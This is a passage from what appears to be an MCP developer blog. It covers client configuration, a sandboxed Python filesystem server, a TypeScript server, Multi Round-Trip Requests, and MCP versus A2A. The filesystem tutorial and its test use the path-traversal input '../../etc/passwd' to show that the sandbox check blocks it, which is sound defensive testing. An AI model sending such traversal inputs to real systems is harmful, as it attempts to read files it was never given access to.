server, then stores it securely: ```json { "inputs": [ { "id": "pg-url", "type": "promptString", "description": "Postgres connection URL", "password": true } ], "servers": { "postgres": { "type": "stdio", "command": "npx", "args": ["-y", "@modelcontextprotocol/server-postgres"], "env": { "DATABASE_URL": "${input:pg-url}" } } } } ``` Open the Chat view, switch to Agent mode, and the server's tools are available to the model. ## Local stdio server or remote HTTP server: which do I configure? Use a local (stdio) entry when the server runs on your own machine, which is the common case for development and for tools that touch local files or a local database. The client starts the process for you, so there is no port and no auth to manage. Use a remote entry when the server runs somewhere else and you connect over the network. Instead of `command` and `args`, you give a `url`. Cursor, VS Code, and Claude Code accept a remote URL directly. Claude Desktop reaches remote servers through its Connectors, or through a local proxy command. ```json { "mcpServers": { "my-remote": { "url": "https://mcp.example.com/mcp" } } } ``` A remote server is shared infrastructure, so it needs authentication and TLS. The stdio versus Streamable HTTP tradeoff, and how to deploy a remote server, are covered in the guides linked below. > **Related build-it guides** > > New to writing servers? Build one first, then point a client at it. See How to build an MCP server in Python at /blog/build-an-mcp-server-in-python, the Postgres server at /blog/build-an-mcp-server-for-postgres, deploying a remote server at /blog/deploy-stateless-mcp-server-cloudflare-workers, and the transport tradeoff at /blog/mcp-transport-stdio-vs-streamable-http. ## Why isn't my MCP server showing up? Two problems cause almost every failed setup. First, a JSON syntax error, usually a trailing comma or a missing brace, so the client silently ignores the whole file. Paste it into a JSON validator if the server never appears. Second, you did not fully restart the client. Quit it completely and reopen, then check again. If the server connects but the model never calls it, make sure the chat is in Agent mode. In ask or edit mode the client will not invoke tools. ## Frequently asked questions ### Where is the Claude Desktop MCP config file? On macOS it is `~/Library/Application Support/Claude/claude_desktop_config.json`. On Windows it is `%APPDATA%\Claude\claude_desktop_config.json`. Create the file if it does not exist, add your server under `mcpServers`, and fully restart Claude Desktop. ### Can I use the same MCP config in Claude Desktop and Cursor? Yes. Both use the same `mcpServers` object with `command`, `args`, and optional `env`, so a server block that works in one works in the other. Only the file location differs: `claude_desktop_config.json` versus `~/.cursor/mcp.json`. ### Why is VS Code's MCP config different? VS Code uses a top-level `servers` key instead of `mcpServers`, and it requires an explicit `type` field (`stdio`, `http`, or `sse`) on each server. It also supports a prompted `inputs` array so secrets are not stored in plaintext. ### How do I add a remote MCP server instead of a local one? Replace `command` and `args` with a `url` field pointing at the server's HTTP endpoint. Remote servers run on shared infrastructure, so they should sit behind authentication and TLS. ### My MCP server is not showing up. What is wrong? Almost always a JSON syntax error in the config file, or you did not fully restart the client. Validate the JSON, then quit and reopen the app. If it connects but tools are never called, switch the chat to Agent mode. Built a server and want it in front of the model? Point your client at it with the config above, restart, and switch to Agent mode. MCPOrbit is a free desktop client that connects to the same server, so you can call every tool by hand before you trust it in Claude. [Download MCPOrbit for macOS](/api/download) --- # How to Build an MCP Server for the Filesystem URL: https://mcporbit.com/blog/build-an-mcp-server-for-the-filesystem Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-25 Updated: 2026-09-03 Category: Build-it Tags: MCP, Python, Filesystem, Security, Engineering Build a filesystem MCP server in Python that reads, writes, and lists files, sandboxed to one directory so a path like ../../etc/passwd is refused. To build a Model Context Protocol (MCP) server for the filesystem, expose read, write, and list tools from the official Python `mcp` SDK, and run every path a tool receives through one sandbox check that refuses anything outside a chosen root directory. That check is the whole job: without it, a request for `../../etc/passwd` reads a file you never meant to share. Below is a complete filesystem server in one file. It gives a client three tools, `list_directory`, `read_file`, and `write_file`, plus a resource that reports its sandbox root. Every snippet here was run and asserted before publishing. Versions are pinned to `mcp` 2.0.0, Python 3.11, and uv 0.11.16, which track the 2026-07-28 MCP spec. - The server exposes three tools: `list_directory`, `read_file`, and `write_file`. - One helper, `_safe`, resolves every path and rejects any that escape the sandbox root. - Typed return values become structured output the client can parse, not just text. - A traversal attempt like `../../etc/passwd` returns a tool error, not file contents. - It runs over stdio, so Claude Desktop and other local clients can launch it directly. ## What does a filesystem MCP server do? A filesystem MCP server turns local files into tools an AI client can call. Instead of pasting file contents into a prompt, the client asks the server to list a directory, read a file, or write one. The server owns the disk access. The client only sees the tools you expose and the sandbox you allow. This is the most requested MCP build after a database server, and it is more dangerous than it looks. A tool that reads any path the caller names is a file-disclosure bug waiting to happen. The design below closes that hole first, then adds the features. ## Set up the project Create a project with uv and add the SDK. The `mcp` package pulls in Pydantic, which validates your tool inputs and outputs for you. ```bash uv init --python 3.11 fs-tools && cd fs-tools uv add "mcp[cli]>=2.0.0" ``` ## Write the sandbox check first The security spine of a filesystem server is one function. It joins the caller's path onto a fixed root, resolves the result to an absolute path with `..` segments collapsed, and confirms the result is still inside the root. If it is not, it raises before any file is touched. ```python import os from pathlib import Path # The sandbox root. Nothing outside this directory is ever readable or writable. ROOT = Path(os.environ.get("MCP_FS_ROOT", ".")).resolve() def _safe(path: str) -> Path: """Resolve `path` against ROOT and refuse anything that escapes the sandbox.""" candidate = (ROOT / path).resolve() if candidate != ROOT and ROOT not in candidate.parents: raise ValueError(f"path escapes the sandbox root: {path}") return candidate ``` The order matters. Resolve first, then check. Resolving turns `notes/../../../etc/passwd` into a real absolute path, so the parent check sees where the request actually points, not where it pretends to. Checking a raw string for `..` is not enough, because symlinks and absolute paths get past a string test. > **Why resolve before checking** > > `Path.resolve()` follows symlinks and collapses `..` segments. A string check for `..` misses an absolute path like `/etc/passwd` and misses a symlink that points outside the root. Always resolve to an absolute path, then confirm the root is a parent of it. ## Add the tools Now the tools. Each one calls `_safe` before it touches disk, so the sandbox check runs on every request without being repeated by hand. Type the return values. When a tool returns a typed object, the SDK builds a JSON Schema from the type hints and the client receives structured output it can parse. Return a bare string and the client gets text only. ```python from typing_extensions import TypedDict from mcp.server.mcpserver import MCPServer mcp = MCPServer(name="fs-tools", version="1.0.0") class Entry(TypedDict): name: str type: str # "file" or "dir" size: int class WriteResult(TypedDict): path: str bytes_written: int @mcp.tool() def list_directory(path: str = ".") -> list[Entry]: """List the entries in a directory inside the sandbox.""" target = _safe(path) entries: list[Entry] = [] for child in sorted(target.iterdir()): entries.append( Entry( name=child.name, type="dir" if child.is_dir() else "file", size=child.stat().st_size, ) ) return entries @mcp.tool() def read_file(path: str) -> str: """Read a UTF-8 text file inside the sandbox and return its contents.""" return _safe(path).read_text(encoding="utf-8") @mcp.tool() def write_file(path: str, content: str) -> WriteResult: """Write UTF-8 text to a file inside the sandbox, creating parents as needed.""" target = _safe(path) target.parent.mkdir(parents=True, exist_ok=True) written = target.write_text(content, encoding="utf-8") return WriteResult(path=str(target.relative_to(ROOT)), bytes_written=written) ``` > **TypedDict on Python 3.11** > > Import `TypedDict` from `typing_extensions`, not `typing`. On Python versions before 3.12, Pydantic rejects a `typing.TypedDict` used inside a list return and raises a `PydanticUserError` at import time. `typing_extensions.TypedDict` works on every version. ## Expose the root as a resource and run over stdio A resource is read-only data a client can fetch without calling a tool. Publish the sandbox root as one, so a client can confirm what the server is scoped to. Then start the server on stdio, the transport local clients launch. ```python @mcp.resource("info://root") def sandbox_root() -> str: """The absolute path the server is sandboxed to.""" return f"fs-tools v1.0.0 sandboxed to {ROOT}" if __name__ == "__main__": mcp.run("stdio") ``` That is the whole server. Save the setup helper, the tools, the resource, and this run block together as `server.py`. Set `MCP_FS_ROOT` to the directory you want to expose, and nothing outside it is reachable. ## Test it end to end before you trust it A filesystem server is exactly the kind of code you do not ship on faith. This test spawns the server over stdio, writes a file, reads it back, lists the directory, and confirms a traversal attempt is refused. It sandboxes the server to a fresh temp directory so the test never touches your real files. ```python """End-to-end test: spawn server.py over stdio, connect a client, exercise it.""" import asyncio import os import tempfile from mcp import ClientSession, StdioServerParameters, stdio_client async def main() -> None: sandbox = tempfile.mkdtemp(prefix="fs-sandbox-") env = {**os.environ, "MCP_FS_ROOT": sandbox} params = StdioServerParameters( command="uv", args=["run", "python", "server.py"], env=env ) async with stdio_client(params) as (read, write): async with ClientSession(read, write) as session: await session.initialize() tools = await session.list_tools() names = sorted(t.name for t in tools.tools) assert names == ["list_directory", "read_file", "write_file"], names # write_file returns a typed WriteResult -> structured_content w = await session.call_tool( "write_file", {"path": "notes/todo.txt", "content": "ship the post"} ) assert w.structured_content == { "path": "notes/todo.txt", "bytes_written": 13, }, w.structured_content # read_file returns a str -> wrapped as {"result": ...} r = await session.call_tool("read_file", {"path": "notes/todo.txt"}) assert r.structured_content["result"] == "ship the post", r.structured_content # list_directory returns a list -> wrapped as {"result": [...]} ls = await session.call_tool("list_directory", {"path": "notes"}) assert ls.structured_content["result"] == [ {"name": "todo.txt", "type": "file", "size": 13} ], ls.structured_content # path traversal is refused: the tool call reports an error escape = await session.call_tool("read_file", {"path": "../../etc/passwd"}) assert escape.is_error, "traversal should have been rejected" assert "escapes the sandbox" in escape.content[0].text, escape.content print("ALL CHECKS PASSED") if __name__ == "__main__": asyncio.run(main()) ``` Run it with one command. The last two assertions are the ones that matter: the write returns a typed result, and the traversal attempt comes back as a tool error instead of the contents of a system file. ```bash uv run python test_server.py # ALL CHECKS PASSED ``` > **What the block looks like** > > When the sandbox catches an escape, the client sees a tool error whose text reads `Error executing tool read_file: path escapes the sandbox root: ../../etc/passwd`. The file is never opened. ## Add it to Claude Desktop Point a local client at the server with an absolute directory and a sandbox root. This entry launches the server with uv and scopes it to one folder. Change `MCP_FS_ROOT` to the only directory you want the model to reach. ```json { "mcpServers": { "fs-tools": { "command": "uv", "args": ["--directory", "/abs/path/to/fs-tools", "run", "python", "server.py"], "env": { "MCP_FS_ROOT": "/abs/path/to/the/folder/to/expose" } } } } ``` ## Frequently asked questions ## Frequently asked questions ### How do I build an MCP server for the filesystem? Expose `read_file`, `write_file`, and `list_directory` tools from the Python `mcp` SDK, and run every path through a check that resolves it to an absolute path and rejects anything outside a fixed root directory. Serve it over stdio with `mcp.run("stdio")`. ### How do I stop path traversal in an MCP filesystem server? Resolve the requested path against your root with `Path.resolve()`, which collapses `..` and follows symlinks, then confirm the root is a parent of the result. Raise an error if it is not. Do this before opening any file, and do not rely on a string check for `..`. ### Why import TypedDict from typing_extensions instead of typing? On Python versions before 3.12, Pydantic raises a `PydanticUserError` when it builds a schema for a `typing.TypedDict` used inside a list return. Importing `TypedDict` from `typing_extensions` avoids the error and behaves the same on newer versions. ### Do MCP tools return structured data or just text? Both, depending on the return type. A tool that returns a typed object such as a TypedDict gives the client structured output built from the type hints. A tool that returns a bare string gives the client text, wrapped as `{"result": "..."}` in the structured field. ### Can I make the filesystem server read-only? Yes. Drop the `write_file` tool and keep `read_file` and `list_directory`. The client can only expose the tools the server registers, so removing a tool removes the capability. ### What versions does this code target? It is pinned to `mcp` 2.0.0, Python 3.11, and uv 0.11.16, which track the 2026-07-28 MCP specification. The sandbox pattern itself is version-independent. That is a filesystem MCP server that reads, writes, and lists files without handing a caller the keys to the whole disk. The sandbox check is small, but it is the difference between a useful tool and a data-disclosure bug. Build the check first, test the escape case, then add features. --- # How to build an MCP server in TypeScript URL: https://mcporbit.com/blog/build-an-mcp-server-in-typescript Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-08-24 Updated: 2026-09-04 Category: Field notes Tags: MCP, TypeScript, SDK, Tutorial Build an MCP server in TypeScript with the official v2 SDK: register tools with Zod schemas and serve over stdio. Full runnable code, tested on SDK 2.0.0. Build an MCP server in TypeScript with the official v2 SDK: install `@modelcontextprotocol/server`, create an `McpServer`, register functions with `server.registerTool()`, and call `serveStdio()`. Any MCP client can then discover and call your tools. The whole server is one file, and this one is tested end to end. TypeScript is one of MCP's two Tier-1 SDKs, and it is the reference implementation the spec ships against. The 2.0 line tracks the 2026-07-28 Model Context Protocol (MCP) specification and splits the old `@modelcontextprotocol/sdk` package into `@modelcontextprotocol/server` and `@modelcontextprotocol/client`. This walkthrough builds a small `text-tools` server with two tools and a resource, then connects a real client over stdio and asserts the results. Every command below was run against `@modelcontextprotocol/server` 2.0.0, `zod` 4.4.3, and `tsx` 4 on Node.js 25.8.1. - The v2 server class is `McpServer`. You call `server.registerTool(name, config, handler)` and the SDK builds the tool's JSON Schema from your Zod schema. - Give a tool an `outputSchema` and return `structuredContent` to send typed data. Without it, the client receives only the text content. - `server.registerResource(name, uri, config, handler)` exposes read-only data a client can fetch without calling a tool. - `serveStdio(factory)` from `@modelcontextprotocol/server/stdio` speaks the stdio transport, which is what Claude Desktop and other local clients launch. - The 2.0 SDK needs `zod` 4.2.0 or newer. A zod 3 schema throws `Schema appears to be from zod 3` at call time. ## What do you need to build an MCP server in TypeScript? You need Node.js 20 or newer and a fresh npm project set to ES modules. Install the server SDK, the client SDK (for the test at the end), and Zod for input and output schemas. Add `tsx` as a dev dependency so you can run TypeScript directly without a separate build step. ```bash npm init -y npm pkg set type=module npm install @modelcontextprotocol/server@2.0.0 @modelcontextprotocol/client@2.0.0 zod@^4.2.0 npm install -D tsx@4 ``` Set `"type": "module"` in `package.json` (the `npm pkg set` line above does this). The v2 SDK is ESM and this server uses top-level constructs that need an ES module. Skip it and Node treats the file as CommonJS and the import fails. ## Write the server The whole server is one file. It creates an `McpServer`, registers two tools and one resource, then hands the server to `serveStdio()`. `word_count` declares an `outputSchema`, so it returns `structuredContent` that clients read as typed fields. `slugify` returns plain text. The resource serves static metadata at a URI. ```typescript // A minimal, tested MCP server in TypeScript using the official v2 SDK. import { z } from "zod"; import { McpServer } from "@modelcontextprotocol/server"; import { serveStdio } from "@modelcontextprotocol/server/stdio"; function createServer() { const server = new McpServer( { name: "text-tools", version: "1.0.0" }, { capabilities: { tools: {}, resources: {} } } ); // A tool that returns structured output. The outputSchema populates // structuredContent, so clients get typed data, not just a text blob. server.registerTool( "word_count", { title: "Word count", description: "Count words, characters, and sentences in a block of text.", inputSchema: z.object({ text: z.string() }), outputSchema: z.object({ words: z.number(), characters: z.number(), sentences: z.number(), }), }, async ({ text }) => { const words = text.trim().split(/\s+/).filter(Boolean); const sentences = text.split(/[.!?]+/).filter((s) => s.trim()); const output = { words: words.length, characters: text.length, sentences: sentences.length, }; return { content: [{ type: "text", text: JSON.stringify(output) }], structuredContent: output, }; } ); // A tool that returns plain text. server.registerTool( "slugify", { title: "Slugify", description: "Turn a title into a URL-safe slug.", inputSchema: z.object({ text: z.string() }), }, async ({ text }) => { const slug = text .trim() .toLowerCase() .replace(/[^a-z0-9]+/g, "-") .replace(/^-+|-+$/g, ""); return { content: [{ type: "text", text: slug }] }; } ); // A resource: read-only data a client can fetch without calling a tool. server.registerResource( "server-info", "info://server", { title: "Server info", mimeType: "text/plain" }, async (uri) => ({ contents: [ { uri: uri.href, text: "text-tools v1.0.0: word_count, slugify" }, ], }) ); return server; } // serveStdio owns the connection: it reads JSON-RPC from stdin and writes to // stdout. Never write logs to stdout, it corrupts the protocol. Use stderr. serveStdio(createServer); console.error("text-tools MCP server running on stdio"); ``` > **Never log to stdout** > > A stdio MCP server sends JSON-RPC over stdout. Any `console.log()` corrupts that stream and the client drops the connection. Send every log line to stderr with `console.error()` instead, as the last line of the server does. ## How do you run and test an MCP server in TypeScript? Test it with the SDK's own client. This script spawns the server over stdio, runs the initialize handshake, then lists the tools, calls each one, and reads the resource. It asserts on the results, so a broken tool fails loudly. No external client app is needed. ```typescript // Spawns the server over stdio and asserts the tools and resource work. import assert from "node:assert/strict"; import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; const transport = new StdioClientTransport({ command: "npx", args: ["tsx", "server.ts"], }); const client = new Client({ name: "test-client", version: "1.0.0" }); await client.connect(transport); const { tools } = await client.listTools(); assert.deepEqual(tools.map((t) => t.name).sort(), ["slugify", "word_count"]); const wc = await client.callTool({ name: "word_count", arguments: { text: "Hello world. This works!" }, }); assert.deepEqual(wc.structuredContent, { words: 4, characters: 24, sentences: 2 }); const slug = await client.callTool({ name: "slugify", arguments: { text: "Build an MCP Server!" }, }); assert.equal(slug.content[0].text, "build-an-mcp-server"); const info = await client.readResource({ uri: "info://server" }); assert.match(info.contents[0].text, /text-tools v1\.0\.0/); console.log("ALL ASSERTIONS PASSED"); await client.close(); ``` Run the test. `tsx` compiles and runs the TypeScript in one step, and the client launches the server as a subprocess. ```bash npx tsx test-client.ts ``` You should see the server's stderr line, then the passing assertion: ```text text-tools MCP server running on stdio ALL ASSERTIONS PASSED ``` > **structuredContent vs content** > > `word_count` returns both `content` (a text block) and `structuredContent` (the typed object). The `outputSchema` is what makes `structuredContent` valid. A client that wants typed data reads `structuredContent`; an older client still gets the text form. ## Add the server to Claude Desktop Claude Desktop launches stdio servers from its config file. Point it at your `server.ts` through `tsx`. On macOS the file is at `~/Library/Application Support/Claude/claude_desktop_config.json`. Use an absolute path to the server file. ```json { "mcpServers": { "text-tools": { "command": "npx", "args": ["-y", "tsx", "/Users/you/text-tools/server.ts"] } } } ``` Restart Claude Desktop. The `text-tools` server appears in the tools menu, and `word_count` and `slugify` are callable from a chat. For a production server, compile to JavaScript first and point `command` at `node` with the built file, so you are not running the TypeScript loader on every launch. The same server in MCPOrbit is the same values in a form, with no file to keep valid and no restart. Command is `npx`, and Arguments is the rest of the line, `-y tsx /Users/you/text-tools/server.ts`. The production note above still applies: compile first, then point Command at `node` and put the built file in Arguments. [How to add an MCP server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) has the whole flow. ## The gotchas that bite TypeScript MCP servers - Zod version: the 2.0 SDK converts Zod schemas to JSON Schema and needs `zod` 4.2.0 or newer. A zod 3 schema throws `Schema appears to be from zod 3` when a tool is called. - ES modules: the SDK is ESM only. Set `"type": "module"` in `package.json` or imports fail. - stdout is sacred: `console.log()` breaks the stdio protocol. Log to stderr with `console.error()`. - Package names changed: v2 is `@modelcontextprotocol/server` and `@modelcontextprotocol/client`, not the single `@modelcontextprotocol/sdk`. Tutorials that import from `@modelcontextprotocol/sdk` are on the 1.x line. - Return shape: a tool returns `{ content: [...] }`. Add `structuredContent` only when you declared an `outputSchema`. > **Pin your versions** > > Pin `@modelcontextprotocol/server` to `2.0.0` and `zod` to `^4.2.0` in `package.json`. The 1.x SDK and zod 3 both compile but fail at runtime, which is the slowest kind of bug to find. ## Frequently asked questions ## Frequently asked questions ### What package do I install to build an MCP server in TypeScript? Install `@modelcontextprotocol/server` for the server and `@modelcontextprotocol/client` for a client. In the 2.0 line these replace the single `@modelcontextprotocol/sdk` package. Add them with `npm install @modelcontextprotocol/server@2.0.0 @modelcontextprotocol/client@2.0.0`. ### Which Zod version does the MCP TypeScript SDK need? Version 4.2.0 or newer. The 2.0 SDK converts your Zod input and output schemas to JSON Schema, and a zod 3 schema throws `Schema appears to be from zod 3` at call time. Install `zod@^4.2.0`. ### How do I return structured data from a TypeScript MCP tool? Give the tool an `outputSchema` in its config and return a `structuredContent` field alongside `content`. The SDK validates `structuredContent` against that schema. Without an `outputSchema`, there is no structured output and the client receives only the text content. ### Which transport should a TypeScript MCP server use? Use stdio for a local server that one client launches as a subprocess, which is what Claude Desktop starts. Use the Streamable HTTP transport for a remote server that many clients reach over the network. Call `serveStdio()` for the local case. ### How do I test an MCP server without a full client app? Use the SDK's own `Client` with `StdioClientTransport`. It spawns your server over stdio, runs the initialize handshake, and lets you call `listTools`, `callTool`, and `readResource` and assert on the results, with no external client needed. Once your server works locally, [connect your TypeScript server in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and call every tool by hand. You see the exact tool list, arguments, and results an MCP client sees, before you add the server to Claude Desktop or Cursor. [Download MCPOrbit for macOS](/api/download) --- # How does an MCP server ask the client for input now? Multi Round-Trip Requests URL: https://mcporbit.com/blog/mcp-multi-round-trip-requests Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-23 Updated: 2026-09-04 Category: Explainer Tags: MCP, 2026-07-28 Spec, SEP-2322, Elicitation, Stateless, MRTR The 2026-07-28 MCP spec is stateless, so a server can no longer hold a stream open to ask the client a question mid-call. Instead a tool returns an InputRequiredResult carrying inputRequests and an opaque requestState, and the client re-issues the same call with inputResponses. That pattern is Multi Round-Trip Requests (SEP-2322). In the 2026-07-28 MCP spec a server can no longer reach back through an open connection to ask the client a question. When a tool needs more input — a confirmation, a missing field, an LLM completion — the call returns an InputRequiredResult carrying inputRequests and an opaque requestState. The client collects the answers and re-issues the same call with inputResponses. That round-trip pattern is Multi Round-Trip Requests (SEP-2322), and it is how elicitation and sampling work now that the protocol core is stateless. If you built a server that pauses mid-tool to prompt the user or ask for an LLM completion, this changes the mechanism you rely on. The behavior survives; the transport under it does not. Here is what replaced it and how to move a server across. ## Why the old server-to-client request model had to go Before the 2026-07-28 revision, a server that needed input mid-call issued a request back down a persistent connection. Elicitation (ask the user) and sampling (ask the client's LLM) both traveled that way, over a bidirectional stream the client had to keep open for the life of the call. That coupling is exactly what blocked MCP from scaling: every long-running call pinned a live SSE stream, and a stateless or serverless deployment — a Cloudflare Worker, a load-balanced fleet — has nowhere to keep that stream. The 2026-07-28 spec removed protocol-level sessions and the Mcp-Session-Id header from the Streamable HTTP transport, turning the core into a request/response protocol. Once there is no guaranteed session, there is no channel for a server to push a request into. Server-initiated calls needed a new home that carries its own continuity. That home is Multi Round-Trip Requests. ## What an InputRequiredResult looks like Instead of pushing a request to the client, the tool call returns early with a result that says: I need input before I can finish. The result carries two things — inputRequests, a map of the server-initiated requests the client must fulfill (each one a full elicitation or sampling request), and requestState, an opaque string that means something only to the server. The shape below is the spec-level wire form, not SDK-specific code: ```json // Server returns this from a tool call that needs input { "inputRequests": { "confirm-delete": { "type": "elicitation", "message": "Delete 42 records? This cannot be undone.", "requestedSchema": { "type": "object", "properties": { "confirm": { "type": "boolean" } }, "required": ["confirm"] } } }, "requestState": "eyJzdGVwIjoiYXdhaXQtY29uZmlybSIsImJhdGNoIjo0Mn0=" } ``` requestState is deliberately opaque to the client. The server can encode anything in it — plain JSON, base64-encoded JSON, an encrypted JWT, serialized binary — because the client never reads it. It only echoes it back. That is the trick that makes the whole exchange stateless: all the continuity the server needs to resume the call travels in the payload, not in a session on the server. ## How the client completes the round trip The client satisfies each input request the way that request demands — prompting the user for an elicitation, calling its LLM for a sampling request, listing roots when asked. Then it re-issues the same tool call it made the first time, now with an inputResponses map keyed by the same ids, plus the requestState it was handed, echoed back untouched: ```json // Client re-issues the ORIGINAL call, now carrying the answers { "name": "delete_records", "arguments": { "query": "status = 'archived'" }, "inputResponses": { "confirm-delete": { "confirm": true } }, "requestState": "eyJzdGVwIjoiYXdhaXQtY29uZmlybSIsImJhdGNoIjo0Mn0=" } ``` The server decodes requestState, sees it was waiting on the confirmation, reads inputResponses, and continues. If it needs more input, it returns another InputRequiredResult and the loop runs again. A single logical tool call can take several round trips, and none of them require a session — which is the entire point. - A tool that needs input returns an InputRequiredResult instead of blocking on an open stream. - inputRequests is a map of server-initiated requests (elicitation, sampling) the client must fulfill. - requestState is opaque to the client; the client only echoes it back on the re-issued call. - The client re-issues the original tool call with inputResponses plus the echoed requestState. - It can repeat for multiple rounds, and it works with no session because all continuity is in the payload. ## What this means for elicitation and sampling Elicitation is not going away. It is now an input request type carried inside inputRequests: a message plus a requestedSchema the client renders to gather structured input from the user. What changed is only how it is delivered — a return value the client answers and resends, rather than a request pushed down a live stream. Sampling is a different story. The 2026-07-28 spec deprecates Sampling (alongside Roots and Logging) under SEP-2577. Under the new lifecycle policy (SEP-2596) a deprecated feature keeps working for at least twelve months, so nothing breaks today — but the guidance is to stop building new servers on sampling and to call your LLM provider's API directly instead. If your server genuinely needs the client's model, MRTR is the transport; if it can call a model itself, do that. > **Migration note** > > Deprecated does not mean removed. Roots, Sampling, and Logging still work and will for at least twelve months. But the legacy HTTP+SSE transport that carried the old server-initiated requests is also on a year-long offramp — so a server that depends on holding a stream open to elicit input has a hard deadline, not an optional upgrade. ## Migrating a server that used server-initiated elicitation - Find every place your server issued a request back to the client mid-tool — elicitation prompts and sampling calls are the common ones. - Replace the pushed request with an early return: build an InputRequiredResult whose inputRequests holds the same elicitation or sampling payload. - Move the state you were holding in memory between the request and its answer into requestState, encoded however you like, since the client never reads it. - On the re-issued call, decode requestState, read inputResponses by id, and resume from where you paused. - For sampling specifically, decide whether you still need the client's model at all — the deprecation guidance is to call a provider API directly where you can. If you are building the client side of this, the loop lives in your call path: detect an InputRequiredResult, fulfill each input request, and resend. Our [client walkthrough](/blog/build-an-mcp-client) covers the request/response call flow this plugs into. For the surrounding stateless model — why sessions went away in the first place — see [deploying a stateless MCP server to Cloudflare Workers](/blog/deploy-stateless-mcp-server-cloudflare-workers). And for how these results differ from an actual failure, our [error-handling guide](/blog/handle-errors-in-mcp-server) draws the line. ## Frequently asked questions ### What are Multi Round-Trip Requests in MCP? A pattern introduced in the 2026-07-28 spec (SEP-2322) where a server that needs input returns an InputRequiredResult carrying inputRequests and an opaque requestState, and the client re-issues the same call with inputResponses. It replaces server-initiated requests that used to travel over an open bidirectional stream. ### Is elicitation deprecated in the 2026-07-28 MCP spec? No. Elicitation still exists as an input request type inside inputRequests. Only its delivery changed: it is now a return value the client answers and resends, not a request pushed down a live stream. Sampling, Roots, and Logging are the features that were deprecated. ### What is requestState and why is it opaque? requestState is a string the server uses to remember where it paused a call. It is opaque to the client, which only echoes it back untouched. Because all the server's continuity travels in that payload, the exchange needs no session — which is what lets it run on stateless and serverless deployments. ### Does a Multi Round-Trip Request need a session? No. That is the entire point. The 2026-07-28 spec removed protocol-level sessions and the Mcp-Session-Id header, and MRTR carries continuity in requestState instead of in server-side session state, so it works with no session at all and can repeat across as many rounds as the call needs. ### How do I migrate a server that used sampling? Sampling is deprecated under SEP-2577 and will keep working for at least twelve months. New servers should call an LLM provider's API directly where possible. If you genuinely need the client's model, carry the sampling request inside an InputRequiredResult using Multi Round-Trip Requests rather than the old server-initiated call. --- # MCP vs A2A: what is the difference and when to use each URL: https://mcporbit.com/blog/mcp-vs-a2a Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-22 Updated: 2026-09-03 Category: Comparison Tags: MCP, A2A, agent protocols, multi-agent, comparison, Explainer MCP and A2A solve different problems. MCP connects one agent down to its tools, data, and files. A2A connects one agent sideways to another agent so they can delegate work. Most real systems use both. Here is the difference and how to pick. MCP and A2A are not competitors. They work at different layers. The Model Context Protocol (MCP) connects one AI agent down to the tools, data, and files it needs to do a job. The Agent2Agent protocol (A2A) connects one agent sideways to another agent so the two can delegate work without either side knowing how the other is built. If you are choosing between them, the honest answer is that most real multi-agent systems use both: A2A between the agents, MCP inside each agent. - MCP is vertical integration: an agent reaches down to tools, resources, and prompts. Maintained by Anthropic, first released November 2024. - A2A is horizontal integration: an agent reaches across to a peer agent it does not control. Launched by Google in April 2025, donated to the Linux Foundation on June 23, 2025. - Different unit of work: MCP exposes tools, resources, and prompts; A2A exchanges tasks and messages between agents that each own their own tools. - Different trust model: an MCP server is a capability your agent calls; an A2A agent is an opaque peer you delegate to and never see inside. - They compose: use A2A to connect agents across team or company boundaries, and MCP to connect each of those agents to its own tools and data. > **Version check** > > This guide tracks MCP at the 2026-07-28 specification (stateless core, tools/resources/prompts, plus a tasks extension) and A2A at its v1.0 stable release under the Linux Foundation. A2A reached v1.0 with signed Agent Cards and, by early 2026, 150-plus supporting organizations and integrations including Microsoft Copilot Studio and Amazon Bedrock. Both protocols speak JSON-RPC over HTTP, which is why they are easy to confuse. ## What is the difference between MCP and A2A? The one-line difference is direction. MCP points down from an agent to its capabilities: an MCP server exposes tools the agent can call, resources it can read, and prompts a user can invoke, and the agent stays in control of every call. A2A points across from one agent to another: it lets an agent hand a task to a peer agent, wait for the result, and never see how that peer did the work. MCP is how an agent uses a tool. A2A is how an agent hires another agent. That difference in direction drives every other difference. Because an MCP server is a capability, its interface is a list of concrete tools with typed inputs. Because an A2A agent is a collaborator, its interface is an advertisement of what it can take on and an endpoint to send work to. One is a menu of functions; the other is a contractor you brief. ## MCP vs A2A at a glance The table lines the two protocols up on the decisions that actually differ. Read it as two halves of one stack, not two options for the same slot. ```text MCP A2A -------------------------------------------------------------------------- Connects agent -> tools & data agent -> agent Integration vertical (downward) horizontal (sideways) Unit of work tool / resource / prompt task / message What the peer is a capability you call an opaque agent you brief Discovery tools/list from the server Agent Card at a well-known URL Transport JSON-RPC: stdio or HTTP JSON-RPC over HTTP (+ SSE) State stateless core (2026-07-28) stateful task lifecycle Maintainer Anthropic (Nov 2024) Linux Foundation (from Jun 2025) Use when one agent needs a tool one agent delegates to another ``` ## How does discovery work in each protocol? Discovery is where the two feel most similar and behave most differently. In MCP, a client connects to a server and calls tools/list to get every tool, with its name, description, and input schema, then calls each tool directly. Discovery is a live listing of functions. In A2A, an agent publishes an Agent Card: a JSON document at the well-known path /.well-known/agent-card that states the agent's identity, its skills, its service endpoint, and the authentication it requires. A calling agent reads the card before any interaction begins to decide whether this peer can take the task. A2A v1.0 added signed cards so the caller can verify the publisher. The MCP equivalent, tools/list, describes callable functions; the A2A Agent Card describes a collaborator's scope. ## How does the unit of work differ? MCP works in tool calls. The agent sends a request naming a tool and its arguments, the server runs it, and the server returns a result. It is a function call dressed as JSON-RPC, and under the 2026-07-28 spec the core is stateless: any server instance can answer any request, and longer jobs move to the tasks extension. A2A works in tasks. A calling agent sends a task with sendMessage, and the receiving agent moves that task through a lifecycle: submitted, working, input-required, completed, or failed. For long jobs the caller uses sendMessageStream and receives Server-Sent Events as the task progresses. A2A is stateful by design because delegated work takes time and the caller needs to track it. That statefulness is the opposite of MCP's stateless core, and it is a direct result of the different job each protocol has. ## When should I use MCP? Use MCP when a single agent needs to reach a tool, a database, an API, or a set of files, and you want that agent to stay in control of every call. This is the common case, and for many products it is the only protocol you need. - One agent needs to call tools, read data, or expand prompts, and you own the logic that decides when. - You are exposing a capability, a Postgres query tool, a REST wrapper, a filesystem, for any compliant client to use. - You want typed, inspectable calls: a fixed list of tools with input schemas the model fills in. - The work is a bounded operation that returns a result, not an open-ended 